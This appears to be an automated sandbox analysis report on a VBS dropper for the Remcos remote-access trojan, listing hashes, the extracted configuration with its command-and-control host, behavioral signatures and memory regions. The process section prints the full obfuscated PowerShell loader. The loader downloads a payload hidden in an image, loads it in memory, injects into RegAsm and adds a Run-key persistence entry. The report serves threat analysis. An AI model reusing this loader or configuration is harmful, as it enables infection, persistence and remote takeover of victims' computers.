Analysis
-
max time kernel
300s -
max time network
287s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
20-04-2024 09:46
Static task
static1
Behavioral task
behavioral1
Sample
UZOyJ.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
UZOyJ.vbs
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
UZOyJ.vbs
Resource
win10v2004-20240412-en
Behavioral task
behavioral4
Sample
UZOyJ.vbs
Resource
win11-20240412-en
General
-
Target
UZOyJ.vbs
-
Size
12KB
-
MD5
bbda92e82f45a249a542b40c6ecfa507
-
SHA1
aa678d29ba51f72a02c73f898ebbe0eb6ce60a74
-
SHA256
3b0a938deff8206e336ac2fd86c31c3f9ad22e493ba037c2bc14c7b424e3f4eb
-
SHA512
dcf8b1556440ca86e5ff963812ef071464a6f00249ba039ce20b68cbe5a571c010d2537b86e23563b4dc47465230b3c1279bd5c411b1a864de38b1332f2b9079
-
SSDEEP
384:Y/VwiDCXdu3NF3S0P0V2VVSUEEJNcr5+EJNcr5z525f+ofhuSw309RWEd+m0Wio9:Y/Si+Xd0NNbP0V2VMUEEJNcV+EJNcVzg
Malware Config
Extracted
remcos
RemoteHost
sembe.duckdns.org:14645
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
notess
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
Rmc-P0AEMX
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 2 380 powershell.exe 13 380 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3777591257-2471171023-3629228286-1000\Software\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\WQQ.vbs" powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 380 set thread context of 1352 380 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 2632 powershell.exe 2632 powershell.exe 380 powershell.exe 380 powershell.exe 1312 powershell.exe 1312 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2632 powershell.exe Token: SeDebugPrivilege 380 powershell.exe Token: SeDebugPrivilege 1312 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid process 1352 RegAsm.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 4824 wrote to memory of 2632 4824 WScript.exe powershell.exe PID 4824 wrote to memory of 2632 4824 WScript.exe powershell.exe PID 2632 wrote to memory of 380 2632 powershell.exe powershell.exe PID 2632 wrote to memory of 380 2632 powershell.exe powershell.exe PID 380 wrote to memory of 1312 380 powershell.exe powershell.exe PID 380 wrote to memory of 1312 380 powershell.exe powershell.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe PID 380 wrote to memory of 1352 380 powershell.exe RegAsm.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\UZOyJ.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreRgBEDgTreFEDgTreVwDgTrevDgTreDQDgTreNDgTreDgTrexDgTreC8DgTreNQDgTre3DgTreC4DgTreMDgTreDgTre2DgTreC4DgTreNQDgTre5DgTreC4DgTreMwDgTreyDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBXDgTreFEDgTreUQDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820', 'https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.FDQW/441/57.06.59.32//:ptth' , '1' , 'C:\ProgramData\' , 'WQQ','RegAsm',''))} }"3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\WQQ.vbs4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD588dc70c361a22feac57b031dd9c1f02f
SHA1a9b4732260c2a323750022a73480f229ce25d46d
SHA25643244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
SHA51219c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5212bf123082b7a2392090cbbe854d89f
SHA1c8e92de845bee0b8370895ab7c84eb1659cbb7a9
SHA256985d4522f85268635f4f5cf3b079677739155fb8fd77d3f5aa85fdbf6e6073fd
SHA5120edef1df306da37184b102d45ecfd7879e8a2f1d9298a8e6fcde4cb227dc894a6421a1844da16b8a0fb1cfd1f9ea90f11e7fdb3a9d3d529d83643b6a698b7831
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymdq4jgu.2r0.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\notess\logs.datFilesize
144B
MD5de8062034b84e0dcc0dc9885f1f96afe
SHA19537e222e6d7f3153fb29b8db44af6ec43db27e7
SHA25620df606ee77cda83791c65072b6e25c200f40335d618c1c69841e1c46b83d54b
SHA51236ff2ab30080a927f899f87ded2eb00d5767e89b6cdb057e40d8e20ca4752175fc14f6569c1e5349711009c52d346f9f1899a74b66463bbb26b4a86fcf2fa50b
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memory/380-23-0x0000021ED8B50000-0x0000021ED8E12000-memory.dmpFilesize
2.8MB
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memory/380-22-0x0000021EBFDF0000-0x0000021EBFE00000-memory.dmpFilesize
64KB
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memory/380-21-0x0000021EBFDF0000-0x0000021EBFE00000-memory.dmpFilesize
64KB
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memory/380-43-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/380-20-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/380-49-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/1312-32-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/1312-33-0x0000024F1CF50000-0x0000024F1CF60000-memory.dmpFilesize
64KB
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memory/1312-35-0x0000024F1CF50000-0x0000024F1CF60000-memory.dmpFilesize
64KB
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memory/1312-36-0x0000024F1CF50000-0x0000024F1CF60000-memory.dmpFilesize
64KB
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memory/1312-40-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/1352-50-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-63-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-44-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-136-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-135-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-48-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-127-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-120-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-119-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-52-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-55-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-58-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-112-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-59-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-60-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-61-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-62-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-111-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-104-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-71-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-72-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-79-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-80-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-87-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-88-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-95-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/1352-103-0x0000000000400000-0x0000000000482000-memory.dmpFilesize
520KB
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memory/2632-9-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/2632-42-0x00000202085D0000-0x00000202085E0000-memory.dmpFilesize
64KB
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memory/2632-57-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/2632-8-0x00000202208A0000-0x00000202208C2000-memory.dmpFilesize
136KB
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memory/2632-10-0x00000202085D0000-0x00000202085E0000-memory.dmpFilesize
64KB
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memory/2632-11-0x00000202085D0000-0x00000202085E0000-memory.dmpFilesize
64KB
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memory/2632-34-0x00007FFCF6CF0000-0x00007FFCF77B2000-memory.dmpFilesize
10.8MB
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memory/2632-41-0x00000202085D0000-0x00000202085E0000-memory.dmpFilesize
64KB